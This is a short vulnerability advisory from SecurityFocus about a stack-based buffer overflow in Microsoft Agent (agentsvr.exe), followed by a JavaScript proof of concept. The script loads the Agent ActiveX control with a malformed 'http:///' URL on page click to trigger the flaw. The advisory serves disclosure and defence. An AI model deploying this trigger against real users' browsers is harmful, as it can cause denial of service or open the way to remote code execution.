source: http://www.securityfocus.com/bid/25566/info

Microsoft Agent (agentsvr.exe) is prone to a stack-based buffer-overflow vulnerability because the application fails to adequately bounds-check user-supplied data.

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of the currently logged-in user. Failed exploit attempts will likely result in denial-of-service conditions. 

<script language="javascript">
function document::OnClick() {
        var agent, character, url;
        agent = new ActiveXObject("Agent.Control.2");
        agent.connected = true;
        agent.Characters.Load("Genie", "http:///");
        character = agent.Characters.Character("Genie");
        character.Show();
        character.Think ("brazil owns!");
        character.Speak('brazil owns!');
        character.Play('Processing');
}
</script>